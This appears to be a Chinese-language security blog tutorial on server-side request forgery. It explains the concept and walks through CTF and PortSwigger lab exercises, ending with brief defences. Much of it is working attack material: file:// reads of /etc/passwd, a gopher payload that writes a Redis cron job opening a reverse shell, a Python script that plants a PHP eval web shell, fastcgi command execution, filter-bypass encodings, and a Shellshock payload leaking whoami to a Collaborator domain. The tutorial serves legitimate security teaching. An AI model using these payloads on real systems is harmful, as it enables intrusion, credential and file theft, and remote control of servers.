banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

SSRF(服务器跨站请求伪造)基础知识

简介#

很多 Web 应用都提供了从其他服务器上获取数据的功能,这种功能通常被称为 “外部资源加载”。通过使用用户指定的 URL,Web 应用可以执行各种操作,如获取图片、下载文件、读取文件内容等。然而,如果这个功能被恶意使用,攻击者可以利用存在缺陷的 Web 应用作为代理,攻击远程和本地的服务器。这种形式的攻击被称为服务端请求伪造攻击(Server-side Request Forgery,简称 SSRF)。

在 SSRF 攻击中,攻击者通过构造特殊的请求,使得服务器端发起的请求目标是攻击者自己控制的或者是内部的系统。一般情况下,SSRF 攻击的目标是从外网无法直接访问的内部系统,例如数据库、内部网络接口等,这样攻击者就可以绕过防火墙,直接访问这些内部系统。

SSRF 攻击的形成主要是由于服务端提供了从其他服务器获取数据的功能,但没有对目标地址做出足够的过滤和限制。例如,服务端可能允许从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载文件等。如果服务端没有对这些操作进行适当的安全控制,例如检查 URL 是否指向内部网络,或者限制可访问的 URL 范围,那么攻击者就可能利用这个功能进行 SSRF 攻击。

类型#

  • 基础(回显)
  • 不回显

利用流程#

能够对外发起网络请求的地方,就可能存在 SSRF,如下对 127.0.0.1 网站自身的 8080 端口发起请求,返回了相关内容,说明存在 SSRF 漏洞。

image

请求包如下:

POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

url=127.0.0.1%3A8000

尝试读取本地文件(windows)

file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts

image

image

如果是 linux 环境,读取如下文件:

file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces

案例一

GET 请求

http://example.com/index.php?page=about.php

http://example.com/index.php?page=https://google.com

http://example.com/index.php?page=file:///etc/passwd

案例二

POST 请求

POST /test/demo_form.php HTTP/1.1
Host: example.com

url=https://example.com/as&name2=value2

利用方式#

漏洞常规利用方式#

  • 内网端口扫描
    • 利用 DICT、HTTP 协议可以探测内网端口开放情况
    • burp suite 爆破
    • 爆破常见端口,80,8080,3306,6379 等
    • image
  • 目录扫描
    • burp suite 爆破
  • sql 注入
    • 编码格式,两次 url 编码
  • 命令执行
    • 编码格式,两次 url 编码
    • gopher 协议
    • url:gopher://[host]:[port]/ 两次 url 编码的 tcp 数据流
  • CVE-2017-12615
    • tomcat put 方法写文件
  • Redis 未授权访问漏洞(无认证)
    • DICT 协议(dict://x.x.x.x:6379/<Redis 命令>)
  • ssrf-xss

漏洞复杂利用方式#

盲 SSRF 利用#

根据响应状态和响应时间判断端口是否开放

下图是一个示例表:

image

使用带外技术进行盲 SSRF 利用。

各种利用协议

file:///  
dict://  
sftp://  
ldap://  
tftp://  
gopher://

dict 协议#

如果服务器禁止对外部站点或白名单中的 http 请求,那么可以使用 dict 协议。

dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)  
CLIENT libcurl 7.40.0

gopher 协议#

gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,在构成符合 gopher 协议的请求。

gopher 协议是 ssrf 利用中最强大的协议

如下案例,302 跳转接收请求。

http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php

<?php  
   header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');  
?>  
  
evil.com:# nc -lvp 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)  
Hi  
ssrf  
test

格式

gopher://<host>:<port>/<gopher-path>_后接TCP数据流

curl gopher://127.0.0.1:8000/_GET%20test

gopher 的默认端口是 70

如果发起 post 请求,回车换行需要使用 %0d%0a,如果多个参数,参数之间的 & 也需要进行 URL 编码。

发送 get 请求

如果要发送如下 payload

GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1

那么需要变为如下格式

curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A

在 HTTP 包的最后要加 %0d%0a,代表消息结束

发送 post 请求

POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=test

那么需要变为如下格式

curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A

ssrf 中的利用

http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc

# 由于PHP在接收到参数后会做一次URL的解码,所以要再 url 编码一次
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A

URL 中的/不能进行两次编码,端口号不可以两次编码,协议名称不可两次转码

利用 gopher 协议访问 redis 反弹 shell

curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

s/ftp 协议#

sftp 协议是 ssh 文件传输协议的缩写即安全的传输协议,用于传输文件

http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)  
SSH-2.0-libssh2_1.4.2

tftp#

文件传输协议

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET  
  
evil.com:# nc -lvup 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
TESTUDPPACKEToctettsize0blksize512timeout3

file 协议#

file 协议用于读取文件系统中的敏感文件

http://example.com/ssrf.php?url=file:///etc/passwd  
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

ldap/s/i#

LDAP 代表轻量级目录访问协议。它是一种在 IP 网络上用于管理和访问分布式目录信息服务的应用协议。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

pdf ssrf#

有些情况下,服务器会将上传的文件转成 pdf 文件

尝试使用<iframe>, <img>, <base>或者<script>标签、CSS url () 去请求内部服务,读取敏感文件。

<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">

avi#

fastcgi 协议#

title:ctfhub靶场
  • 首先在服务器上监听
nc -lvnp 9000 > 1.txt
  • 客户端使用 python 脚本连接 9000 端口
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
  • 将生成的 txt 文件通过如下 python 脚本进行二次编码
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))

image

将 payload 放到漏洞参数处。

image

知道文件名后,通过 cat 命令查看 flag 的内容

python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php

和前面的步骤一致。

利用案例#

端口扫描#

SSRF 配合 DICT 协议可以用来探测内网端口开放情况,只可以探测 tcp 回显的端口。

image

redis#

curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'

工具#

https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
上述工具需要再进行一次 url 编码。

[[ctfhub-skilltree.md# 二次编码脚本 | url 二次编码脚本]]

redis 写入 shell

import urllib
protocol="gopher://"
ip="192.168.134.132" //ip地址
port="6379" //端口
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"//写入内容为一句话木马
filename="1.php" //文件名为1.php
path="/var/www/html"//默认路径
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

案例#

[[ctfhub-skilltree.md#redis|ssrf 之 redis 写入 shell 场景]]

绕过技巧#

fuzz 字典#

  • web 漏洞 ->ssrfDicts

白名单#

1、允许指定的 ip 或域名访问指定的资源

白名单为:abc.com

直接无法读取

http://example.com/ssrf.php?url=https://google.com 

需要在白名单域中,找到开放重定向漏洞,结合开放重定向漏洞进行利用。

http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com

2、子域名

白名单为:*.abc.com

http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com 

黑名单#

  • ip 改为下述可绕过的 ip
  • 对过滤的字符进行编码
  • 或者使用域名,指向 localhost

特殊 ip#

http://0177.1/   # 十进制 http://127.0.0.1
http://0x7f.1/   # 十六进制 http://127.0.0.1
http://127.000.000.1
https://520968996

错误 ip#

http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/

ipv6#

http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/·

其他协议#

gopher://
dict://
php://
jar://
tftp://

DNS 欺骗#

10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io

xip.io#

10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io

编码绕过#

这些包括十六进制编码,八进制编码,双字编码,URL 编码和混合编码。

127.0.0.1 translates to 0x7f.0x0.0x0.0x1
127.0.0.1 translates to 0177.0.0.01
http://127.0.0.1 translates to http://2130706433
localhost translates to %6c%6f%63%61%6c%68%6f%73%74

白名单#

  • 可以在 url 前面加上认证,通过 @分割,username 换成内部系统 ip,其他的路径加到最后,如下
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/

image

  • 也可以使用 #号分割各个 url 片段
https://evil-host#expected-host
  • 使用 DNS 的命名结构
https://expected-host.evil-host
  • 对字符进行 url 编码用来混淆 url 解析器。

302 跳转#

有时服务端可能过滤了很多协议,如传入的 URL 中只允许出现 “http” 或 “https”,那么可以在自己的服务器上写一个 302 跳转,利用 Gopher 协议攻击内网的 Redis。

image

SSRF lab#

Lab: Basic SSRF against the local server#

抓包,正常的请求

image

将 stockApi 改为http://localhost/admin,直接未授权访问了后台面板。

image

删除用户,输入如下参数:stockApi=http://localhost/admin/delete?username=carlos

成功删除账号

image

Lab: Basic SSRF against another back-end system#

title:实验目标
通过ssrf对内部网络进行端口扫描,发现192.168.0.X网段开放的8080端口

同样的,来到 check stock 页面。

正常的请求如下:

image

发送到 intruder

image

payload 设置

image

通过查看响应大小,可以看到 ip 是 192.168.0.154

image

删除用户 carlos,删除成功。

image

SSRF with blacklist-based input filter#

输入内网 url,被拦截

image

黑名单绕过,127.0.0.1 改为 127.1,admin 也会拦截,对 admin 的 a 进行两次编码,第二次编码只对特殊字符。

image

删除 carlos 账号。

image

SSRF with whitelist-based input filters#

image

白名单只允许 stock.weliketoshop.net 访问。

image

通过输入http://[email protected]/ 观察发现可以通过这种嵌入式凭证的 url 绕过。

image

在 username 后面加 #号,发现还是被拦截,对 #号进行两次 url 编码,发现未被拦截。

http://localhost%[email protected]/

image

后接 admin,上述图片正常绕过。

image

post 发包删除 carlos 账户。

stockApi=http://localhost%[email protected]/admin/delete?username=carlos

Lab: SSRF with filter bypass via open redirection vulnerability#

通过重定向漏洞实现 SSRF 漏洞,目标访问http://192.168.0.12:8080/admin and delete the user carlos

首先需要找到一个开放重定向漏洞,在商品详情页面的链接跳转处可以找到。

image

链接如下:

https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com

可以直接跳转到http://www.baidu.com。

抓包 check stock 的请求包。

将上述包发送出去,提示 path 参数缺失

image

去掉 currentProductId 即可。

image

删除用户。

image

Blind SSRF with out-of-band detection#

漏洞位于 referer 处

image

打开 Burp Collaborator client,拷贝一个域名

image

将他复制到 referer 处,并发送请求,Burp Collaborator client 收到了发送的请求。

image

Lab: Blind SSRF with Shellshock exploitation#

1、要实现这个实验,需要先安装 "Collaborator Everywhere" 插件,burp 的商店中自带,找到安装即可。

2、访问受害者网站并抓包,右键,Add to scope 中。

image

3、然后继续浏览网站,"Collaborator Everywhere" 插件就会开始发送请求,并且可以查看到相关的响应了,告诉我们这里存在 ssrf 漏洞。

image

4、具体的请求如下

image

还添加了一些其他的请求。

image

发送到 intruder 模块,进行暴力破解,User-Agent 设置为如下 payload,referer 设置为需要爆破的内网服务器网段。

() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net

image

设置爆破的参数

image

线程设置为 1

image

开始爆破,查看 Burp Collaborator client 是否接收到请求。

image

如上,获取到了服务器的用户名。

漏洞危害#

SSRF 可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用 File 协议读取本地文件。

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在 SSRF 时,通常会造成较大的危害。

防御方式#

  • 过滤返回的信息
  • 统一错误信息
  • 限制请求的端口
  • 禁止不常用的协议
  • 对 DNS Rebinding,考虑使用 DNS 缓存或者 Host 白名单

其他#

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.